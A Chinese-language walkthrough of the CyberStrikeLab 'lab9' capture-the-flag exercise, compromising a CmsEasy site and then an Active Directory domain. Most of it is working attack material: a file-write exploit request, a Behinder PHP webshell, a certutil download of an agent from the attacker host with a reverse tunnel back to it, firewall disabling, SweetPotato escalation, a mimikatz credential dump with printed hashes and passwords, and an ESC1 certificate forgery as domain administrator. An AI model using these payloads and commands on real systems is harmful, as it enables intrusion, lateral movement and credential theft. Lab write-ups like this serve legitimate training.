lab9

https://www.cyberstrikelab.com/#/target/kvm_detail/269

靶标介绍：ATT&CK实战框架-lab9

第一阶段：web 服务突破

核心动作：通过「特定凭证」登录后台管理系统

关键操作：利用工具 A 抓取通信数据，植入「特殊代码片段」

成果：成功建立「隐蔽连接通道」，获取基础权限

第二阶段：内网横向渗透

核心动作：从普通权限「层层递进」至最高系统权限

关键操作：使用工具 B 完成「远控上线」，扫描「内网段资产」

成果：破解「某协议共享密码」，直达核心数据区

第三阶段：域控终极突破

核心动作：检测「某证书服务漏洞」，伪造身份凭证

关键操作：通过工具 C 生成「特殊格式证书」，模拟「高权限用户」

成果：绕过域控防护，最终获取「系统关键标识」

PS：校园网害人，一大半时间卡在上传文件，换流量就好了…

前期踩点

这里要使用 5000 的速率来扫，10000 速率大概率端口扫描不全

➜  Lab-9 nmap -sT -min-rate 5000 -p- 172.5.33.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-20 20:51 EDT
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 69.47% done; ETC: 20:52 (0:00:08 remaining)
Nmap scan report for 172-5-33-6.lightspeed.miamfl.sbcglobal.net (172.5.33.6)
Host is up (0.015s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
47001/tcp open  winrm
49669/tcp open  unknown

无法使用匿名账户对SMB进行登录（PS：下面这些是当时靶机BUG无法启动 Web 时测试的）

➜  Tools smbclient -L 172.5.33.6 -U anonymous
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILURE

进行RPCdump ，能得到主机名 WIN-784BAKDI0AC

➜  Tools rpcdump.py 172.5.33.6
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Retrieving endpoint list from 172.5.33.6
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: wininit.exe
UUID    : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0
Bindings:
          ncacn_ip_tcp:172.5.33.6[49664]
          ncalrpc:[WindowsShutdown]
          ncacn_np:\\WIN-784BAKDI0AC[\PIPE\InitShutdown]
          ncalrpc:[WMsgKRpc04A670]

Protocol: N/A
Provider: winlogon.exe
UUID    : 76F226C3-EC14-4325-8A99-6A46348418AF v1.0
Bindings:
          ncalrpc:[WindowsShutdown]
          ncacn_np:\\WIN-784BAKDI0AC[\PIPE\InitShutdown]
          ncalrpc:[WMsgKRpc04A670]
          ncalrpc:[WMsgKRpc04A971]
          ....

fscan 扫描

➜  Tools ./fscan_1.8.4 -h 172.5.33.6                                 

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
172.5.33.6:139 open
172.5.33.6:80 open
172.5.33.6:3306 open
172.5.33.6:135 open
172.5.33.6:445 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo 
[*]172.5.33.6
   [->]WIN-784BAKDI0AC
   [->]172.5.33.6
   [->]10.6.6.10
[*] WebTitle http://172.5.33.6         code:200 len:77277  title:中文网页标题
已完成 5/5
[*] 扫描结束,耗时: 50.962777759s

因为可能是 2008R2，检测一下永恒之蓝，但是并没有

Web 渗透 - 172.5.33.6

在页脚中能找到 Powered by CmsEasy ，易通企业网站系统

密码爆破

/admin 进入后台登录接口，进行弱密码测试

进行密码爆破时，需要将 cookie 和验证码参数删掉

得到密码 admin123456

后台利用

通过搜索引擎搜索，能找到几个命令执行的漏洞

这里使用：https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E5%92%8C%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9Epoc

首先将登陆后的 Cookie 拿过来利用

Cookie: PHPSESSID=r8olfavkomt6tla7pn9j306ue0; loginfalse74c6352c5a281ec5947783b8a186e225=21; loginfalse=0; login_username=admin; login_password=9776624e56cfa87e5d04672056ffeac9

构造数据包，将自己的 Cookie 替换上去即可

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 172.5.33.6
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://172.5.33.6/index.php?case=admin&act=login&admin_dir=admin&site=default
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Sec-GPC: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=r8olfavkomt6tla7pn9j306ue0; loginfalse74c6352c5a281ec5947783b8a186e225=21; loginfalse=0; login_username=admin; login_password=9776624e56cfa87e5d04672056ffeac9
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>

访问是否写入成功

写入冰蝎的payload（这里你也可以蚁剑）

使用 default_aes

<?php
@error_reporting(0);
	function Decrypt($data)
	{
		$key="e45e329feb5d925b";
		return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
	}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

flag 1

C:\> type flag.txt
go-flag{8EC18759-1F45-4C34-9743-95DAABCA5CC1}

代理 - Stowaway

查看 IP 信息，能发现内网网段是 10.6.6.10

C:/phpstudy_pro/WWW/ >ipconfig

Windows IP 配置

以太网适配器 以太网实例 1:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::54a5:afba:bf67:addf%11
   IPv4 地址 . . . . . . . . . . . . : 172.5.33.6
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 172.5.33.233

以太网适配器 以太网实例 2:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::78bb:2e32:19c6:2d7%2
   IPv4 地址 . . . . . . . . . . . . : 10.6.6.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 10.6.6.1

隧道适配器 isatap.{730545FA-7DC0-4716-8AF2-678FFC6D1F1C}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . : 

隧道适配器 isatap.{E6E2FD25-6949-4C86-A749-7F0F14616295}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . :

通过 stowaway 来搭建代理，使用 certutil （WebShell没法进行上传，冰蝎蚁剑都是）拉取攻击机上的stowaway 客户端

C:/phpstudy_pro/WWW/ >certutil -f -split -urlcache http://172.16.233.2/agent.exe

****  联机  ****
  000000  ...
  22c600
CertUtil: -URLCache 命令成功完成。

服务端（攻击机）监听 8000 端口

.\windows_x64_admin.exe -l 8000 -s 123

客户端连接服务端

C:/phpstudy_pro/WWW/ >agent.exe -c 172.16.233.2:8000 -s 123 --reconnect 8

客户端连接后服务端就能看到连接上了

PS D:\All\Study\security\tools\stowaway> .\windows_x64_admin.exe -l 8000 -s 123
[*] Starting admin node on port 8000

    .-')    .-') _                  ('\ .-') /'  ('-.      ('\ .-') /'  ('-.
   ( OO ). (  OO) )                  '.( OO ),' ( OO ).-.   '.( OO ),' ( OO ).-.
   (_)---\_)/     '._  .-'),-----. ,--./  .--.   / . --. /,--./  .--.   / . --. /  ,--.   ,--.
   /    _ | |'--...__)( OO'  .-.  '|      |  |   | \-.  \ |      |  |   | \-.  \    \  '.'  /
   \  :' '. '--.  .--'/   |  | |  ||  |   |  |,.-'-'  |  ||  |   |  |,.-'-'  |  | .-')     /
    '..'''.)   |  |   \_) |  |\|  ||  |.'.|  |_)\| |_.'  ||  |.'.|  |_)\| |_.'  |(OO  \   /
   .-._)   \   |  |     \ |  | |  ||         |   |  .-.  ||         |   |  .-.  | |   /  /\_
   \       /   |  |      ''  '-'  '|   ,'.   |   |  | |  ||   ,'.   |   |  | |  | '-./  /.__)
    '-----'    '--'        '-----' '--'   '--'   '--' '--''--'   '--'   '--' '--'   '--'
                                    { v2.2  Author:ph4ntom }
[*] Waiting for new connection...
[*] Connection from node 172.5.33.6:49677 is set up successfully! Node id is 0
(admin) >>

设置 socks 代理

(admin) >> use 0
(node 0) >> socks 8001 admin admin
[*] Trying to listen on 0.0.0.0:8001......
[*] Waiting for agent's response......
[*] Socks start successfully!

Kali 配置 proxychains 后进行测试

➜  ~ proxychains4 curl 10.6.6.10
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  172.16.233.2:8001  ...  10.6.6.10:80  ...  OK
<!DOCTYPE html>
<html>
<head>
<meta name="Generator" content="CmsEasy 7_7_5_20211012_UTF8" />
    <meta charset="utf-8" />
    <meta name="renderer" content="webkit"/>
    <meta name="force-rendering" content="webkit"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimal-ui">
    <title>中文网页标题</title>
    ....

内网信息收集

代理搭建完毕后，上传 fscan 对内网进行扫描

(node 0) >> upload D:\fscan.exe C:\phpstudy_pro\www\fscan.exe
[*] File transmitting, please wait...
8.33 MiB / 8.33 MiB [------------------------------------------------------------------->__] 96.69% 2.54 MiB p/s ETA 0s

使用 fscan 扫描

C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.1-10.6.6.255
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| ''__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-05-22 05:44:45] [INFO] 暴力破解线程数: 1
[2025-05-22 05:44:45] [INFO] 开始信息扫描
[2025-05-22 05:44:45] [INFO] 生成IP范围: 10.6.6.1.%!d(string=10.6.6.255) - %!s(MISSING).%!d(MISSING)
[2025-05-22 05:44:45] [INFO] 最终有效主机数量: 255
[2025-05-22 05:44:45] [INFO] 开始主机扫描
[2025-05-22 05:44:45] [SUCCESS] 目标 10.6.6.10       存活 (ICMP)
[2025-05-22 05:44:46] [SUCCESS] 目标 10.6.6.55       存活 (ICMP)
[2025-05-22 05:44:46] [SUCCESS] 目标 10.6.6.88       存活 (ICMP)
[2025-05-22 05:44:48] [INFO] 存活主机数量: 3
[2025-05-22 05:44:48] [INFO] 有效端口数量: 233
[2025-05-22 05:44:49] [SUCCESS] 端口开放 10.6.6.55:135
[2025-05-22 05:44:49] [SUCCESS] 端口开放 10.6.6.10:135
[2025-05-22 05:44:49] [SUCCESS] 端口开放 10.6.6.55:88
[2025-05-22 05:44:49] [SUCCESS] 端口开放 10.6.6.55:80
[2025-05-22 05:44:49] [SUCCESS] 端口开放 10.6.6.10:80
[2025-05-22 05:44:49] [SUCCESS] 端口开放 10.6.6.88:135
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.88:445
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.55:445
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.10:445
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.55:389
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.88:139
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.55:139
[2025-05-22 05:44:50] [SUCCESS] 端口开放 10.6.6.10:139
[2025-05-22 05:44:53] [SUCCESS] 端口开放 10.6.6.10:3306
[2025-05-22 05:44:54] [SUCCESS] 服务识别 10.6.6.55:88 =>
[2025-05-22 05:44:54] [SUCCESS] 服务识别 10.6.6.10:80 => [http]
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.88:445 =>
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.55:445 =>
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.10:445 =>
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.55:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: cyberstrikelab.com, Site: Default-First-Site-Name
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.88:139 =>  Banner:[.]
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.55:139 =>  Banner:[.]
[2025-05-22 05:44:55] [SUCCESS] 服务识别 10.6.6.10:139 =>  Banner:[.]
[2025-05-22 05:44:57] [SUCCESS] 服务识别 10.6.6.55:80 => [http]
[2025-05-22 05:44:57] [SUCCESS] 服务识别 10.6.6.10:3306 => [mysql] 产品:MySQL 信息:unauthorized Banner:[H.j Host 'WIN-784BAKDI0AC' is not allowed to connect to this MySQL server]
[2025-05-22 05:45:54] [SUCCESS] 服务识别 10.6.6.55:135 =>
[2025-05-22 05:45:54] [SUCCESS] 服务识别 10.6.6.10:135 =>
[2025-05-22 05:45:54] [SUCCESS] 服务识别 10.6.6.88:135 =>
[2025-05-22 05:45:54] [INFO] 存活端口数量: 14
[2025-05-22 05:45:54] [INFO] 开始漏洞扫描
[2025-05-22 05:45:54] [INFO] 加载的插件: findnet, ldap, ms17010, mysql, netbios, smb, smb2, smbghost, webpoc, webtitle
[2025-05-22 05:45:55] [SUCCESS] 网站标题 http://10.6.6.10          状态码:200 长度:77272  标题:中文网页标题
[2025-05-22 05:45:55] [SUCCESS] NetInfo 扫描结果
目标主机: 10.6.6.88
主机名: cyberweb
发现的网络接口:
   IPv4地址:
      └─ 10.6.6.88
[2025-05-22 05:45:55] [SUCCESS] NetInfo 扫描结果
目标主机: 10.6.6.10
主机名: WIN-784BAKDI0AC
发现的网络接口:
   IPv4地址:
      └─ 172.5.33.6
      └─ 10.6.6.10
[2025-05-22 05:45:55] [SUCCESS] NetInfo 扫描结果
目标主机: 10.6.6.55
主机名: DC
发现的网络接口:
   IPv4地址:
      └─ 10.6.6.55
[2025-05-22 05:45:55] [SUCCESS] 网站标题 http://10.6.6.55          状态码:200 长度:703    标题:IIS Windows Server
[2025-05-22 05:45:55] [INFO] 系统信息 10.6.6.55 [Windows Server 2016 Standard 14393]
[2025-05-22 05:45:55] [INFO] 系统信息 10.6.6.88 [Windows Server 2016 Standard 14393]
[2025-05-22 05:45:56] [SUCCESS] NetBios 10.6.6.88       cyberweb.cyberstrikelab.com         Windows Server 2016 Standard 14393
[2025-05-22 05:45:56] [SUCCESS] 目标: http://10.6.6.55:80
  漏洞类型: poc-yaml-active-directory-certsrv-detect
  漏洞名称:
  详细信息:
        author:AgeloVito
        links:https://www.cnblogs.com/EasonJim/p/6859345.html
[2025-05-22 05:46:53] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:123456 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-22 05:47:10] [SUCCESS] SMB认证成功 10.6.6.88:445 administrator:qwe123!@#

从上面的信息中能得到：

域：cyberstrikelab.com
DC：10.6.6.55 DC.cyberstrikelab.com
cyberweb.cyberstrikelab.com 管理员账户 administrator:qwe123!@#

cyberweb - 10.6.6.88

上面拿到了凭据，信息收集一波

➜  Lab-9 proxychains -q crackmapexec smb 10.6.6.88 -u administrator -p 'qwe123!@#'
SMB         10.6.6.88       445    CYBERWEB         [*] Windows Server 2016 Standard 14393 x64 (name:CYBERWEB) (domain:cyberstrikelab.com) (signing:False) (SMBv1:True)
SMB         10.6.6.88       445    CYBERWEB         [-] cyberstrikelab.com\administrator:qwe123!@# STATUS_LOGON_FAILURE 

➜  Lab-9 proxychains -q crackmapexec smb 10.6.6.88 -u administrator -p 'qwe123!@#' --local-auth
SMB         10.6.6.88       445    CYBERWEB         [*] Windows Server 2016 Standard 14393 x64 (name:CYBERWEB) (domain:CYBERWEB) (signing:False) (SMBv1:True)
SMB         10.6.6.88       445    CYBERWEB         [+] CYBERWEB\administrator:qwe123!@# (Pwn3d!)

只能进行本地验证，没有域用户，需要进行提权到SYSTEM ，然后通过 SYSTEM 抓取机器用户或者域用户来进行ESC攻击

因为靶机介绍中，提到某证书服务漏洞，那么肯定就是ADCS了，但是ESC几还不知道，CA也还不知道

使用 smbexec 获得 shell

➜  Lab-9 proxychains -q smbexec.py administrator:'qwe123!@#'@10.6.6.88 -codec gbk
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>

flag 2

go-flag{0A433C09-0529-4205-848D-6DADCE311646}

whoami 信息中能看到 SeImpersonatePrivilege 权限，可以使用 SweetPotato 进行提权，拥有该权限可以将 Administration 用户提权到 SYSTEM 。关于土豆家族提权原理：https://xz.aliyun.com/news/7371

开启 RDP 服务

C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
操作成功完成。
C:\Windows\system32>netsh advfirewall set allprofiles state off
确定。

进行远程桌面连接

上传 SweetPotato 和 mimikatz

使用 SweetPotato 进行提权，获得SYSTEM 权限

DC - 10.6.6.55

提权后使用 mimikatz 抓取机器账户 hash

C:\mimikatz-master\x64>

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz #
Using 'mimikatz.log' for logfile : OK

mimikatz #
Privilege '20' OK

mimikatz #

Authentication Id : 0 ; 1769582 (00000000:001b006e)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)

Logon Time        : 2025/5/22 14:14:10
SID               : S-1-5-90-0-3
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
         * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
        tspkg :

        wdigest :

         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password :
(null)
        kerberos :

         * Username : CYBERWEB$
         * Domain   : cyberstrikelab.com
         * Password :
I@w2(l8:$e9`bRA7&$Rxd^f@6+_,hg\L)&Ck6he8vlsS7*=[e*%bh-wZ.,$HV(0^!/q0eY=sDH_1)6jK3v;#%kt[5YSXt3$y/;R(wAqp1p_`"m=o:Q;HtsY
        ssp :

        credman :

Authentication Id : 0 ; 51166 (00000000:0000c7de)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/5/22 5:12:29
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
         * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : CYBERWEB$
         * Domain   : cyberstrikelab.com
         * Password : I@w2(l8:$e9`bRA7&$Rxd^f@6+_,hg\L)&Ck6he8vlsS7*=[e*%bh-wZ.,$HV(0^!/q0eY=sDH_1)6jK3v;#%kt[5YSXt3$y/;R(wAqp1p_`""m=o:Q;HtsY
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CYBERWEB$
Domain            : CYBERSTRIKELAB
Logon Server      : (null)
Logon Time        : 2025/5/22 5:12:23
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
         * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : cyberweb$
         * Domain   : CYBERSTRIKELAB.COM
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 23223 (00000000:00005ab7)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2025/5/22 5:12:18
SID               :
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
         * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 1769613 (00000000:001b008d)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/5/22 14:14:10
SID               : S-1-5-90-0-3
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
         * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : CYBERWEB$
         * Domain   : cyberstrikelab.com
         * Password : I@w2(l8:$e9`bRA7&$Rxd^f@6+_,hg\L)&Ck6he8vlsS7*=[e*%bh-wZ.,$HV(0^!/q0eY=sDH_1)6jK3v;#%kt[5YSXt3$y/;R(wAqp1p_`""m=o:Q;HtsY
        ssp :
        credman :

Authentication Id : 0 ; 315377 (00000000:0004cff1)
Session           : Interactive from 0
User Name         : cslab
Domain            : CYBERSTRIKELAB
Logon Server      : DC
Logon Time        : 2025/5/22 13:16:25
SID               : S-1-5-21-4286488488-1212600890-1604239976-1104
        msv :
         [00000003] Primary
         * Username : cslab
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 39b0e84f13872f51efb3b8ba5018c517
         * SHA1     : fa6a465532224cc4f1fa5094424bf219d25b7463

         * DPAPI    :
432dfb0f990f2cc292b2fd09468aab5e
        tspkg :
        wdigest :
         * Username : cslab
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : cslab
         * Domain   : CYBERSTRIKELAB.COM
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 135581 (00000000:0002119d)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CYBERWEB
Logon Server      : CYBERWEB
Logon Time        : 2025/5/22 5:14:06
SID               : S-1-5-21-332097019-2215467117-1557799732-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CYBERWEB
         * NTLM     : c377ba8a4dd52401bc404dbe49771bbc
         * SHA1     : d9ac14100bf4e36f6807dd3c29051983b2d58d3d
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : CYBERWEB
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : CYBERWEB
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2025/5/22 5:12:29
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 51191 (00000000:0000c7f7)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/5/22 5:12:29
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
         * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : CYBERWEB$
         * Domain   : cyberstrikelab.com
         * Password : I@w2(l8:$e9`bRA7&$Rxd^f@6+_,hg\L)&Ck6he8vlsS7*=[e*%bh-wZ.,$HV(0^!/q0eY=sDH_1)6jK3v;#%kt[5YSXt3$y/;R(wAqp1p_`""m=o:Q;HtsY
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : CYBERWEB$
Domain            : CYBERSTRIKELAB
Logon Server      : (null)
Logon Time        : 2025/5/22 5:12:17
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : CYBERWEB$
         * Domain   : CYBERSTRIKELAB
         * Password : (null)
        kerberos :
         * Username : cyberweb$
         * Domain   : CYBERSTRIKELAB.COM
         * Password : (null)
        ssp :
        credman :

得到机器用户凭据 CYBERWEB$ ，NTLM： 331dcbb88d1a4847c97eab7c1c168ac8 ，Password： I@w2

10.6.6.55       DC.cyberstrikelab.com   cyberstrikelab.com
10.6.6.77       cyberweb.cyberstrikelab.com

回到Kali，使用 certipy-ad 和 Bloodhound-py(略) 通过机器用户 CYBERWEB$ 收集域内信息分析 ADCS 攻击

➜  Lab-9 proxychains -q certipy-ad find -u CYBERWEB$ -hashes 331dcbb88d1a4847c97eab7c1c168ac8 -dns-tcp -dc-ip 10.6.6.55 -bloodhound -debug   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.6.6.55:636 - ssl
[+] Default path: DC=cyberstrikelab,DC=com
[+] Configuration path: CN=Configuration,DC=cyberstrikelab,DC=com
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC.cyberstrikelab.com' at '10.6.6.55'
[*] Trying to get CA configuration for 'cyberstrikelab-DC-CA' via CSRA
[+] Trying to get DCOM connection for: 10.6.6.55
[!] Got error while trying to get CA configuration for 'cyberstrikelab-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'cyberstrikelab-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'DC.cyberstrikelab.com' (10.6.6.55)
[*] Got CA configuration for 'cyberstrikelab-DC-CA'
[+] Resolved 'DC.cyberstrikelab.com' from cache: 10.6.6.55
[+] Connecting to 10.6.6.55:80
[*] Saved BloodHound data to '20250522025230_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k

导入到BloodHound 进行分析，这里使用的BloodHound版本是：https://github.com/ly4k/BloodHound/releases/tag/v4.2.0-ly4k

CA 名称

10.6.6.55       DC.cyberstrikelab.com   cyberstrikelab.com   CYBERSTRIKELAB-DC-CA
10.6.6.77       cyberweb.cyberstrikelab.com

寻找攻击路径，可以在 查找配置错误的证书模板 中找到DC的证书模板

ESC 1

DC证书模板的属性（喂给AI）：

参数	值
Any Purpose	False
Authorized Signatures Required	0
Certificate Authorities	cyberstrikelab-DC-CA
Certificate Name Flag	EnrolleeSuppliesSubject
Client Authentication	True
Enabled	True
Enrollee Supplies Subject	True
Enrollment Agent	False
Enrollment Flag	None
Extended Key Usage	Client Authentication
Minimum RSA Key Length	2,048
Private Key Flag	16842752
Renewal Period	6 weeks
Requires Key Archival	False
Requires Manager Approval	False
Validity Period	1 year
domain	CYBERSTRIKELAB.COM

Certificate Name Flag: EnrolleeSuppliesSubject 表明模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志。

Extended Key Usage: Client Authentication 表示证书包含客户端身份验证的EKU（扩展密钥用法），使证书可用于Kerberos认证，进而获取TGT票据。

Requires Manager Approval: False：无需管理员审批，允许直接颁发证书。

Authorized Signatures Required: 0：无需额外签名授权，简化攻击流程

ESC1 攻击利用：https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc1-template-allows-san | https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc1/

➜  Lab-9 proxychains -q certipy req \
  -u 'CYBERWEB$' \
  -hashes 331dcbb88d1a4847c97eab7c1c168ac8 \
  -dc-ip 10.6.6.55 \
  -target 10.6.6.55 \
  -ca 'CYBERSTRIKELAB-DC-CA' \
  -template 'DC' \
  -upn 'administrator@cyberstrikelab.com' \
  -dns-tcp \
  -debug

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.6.6.55[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.6.6.55[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'administrator@cyberstrikelab.com'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

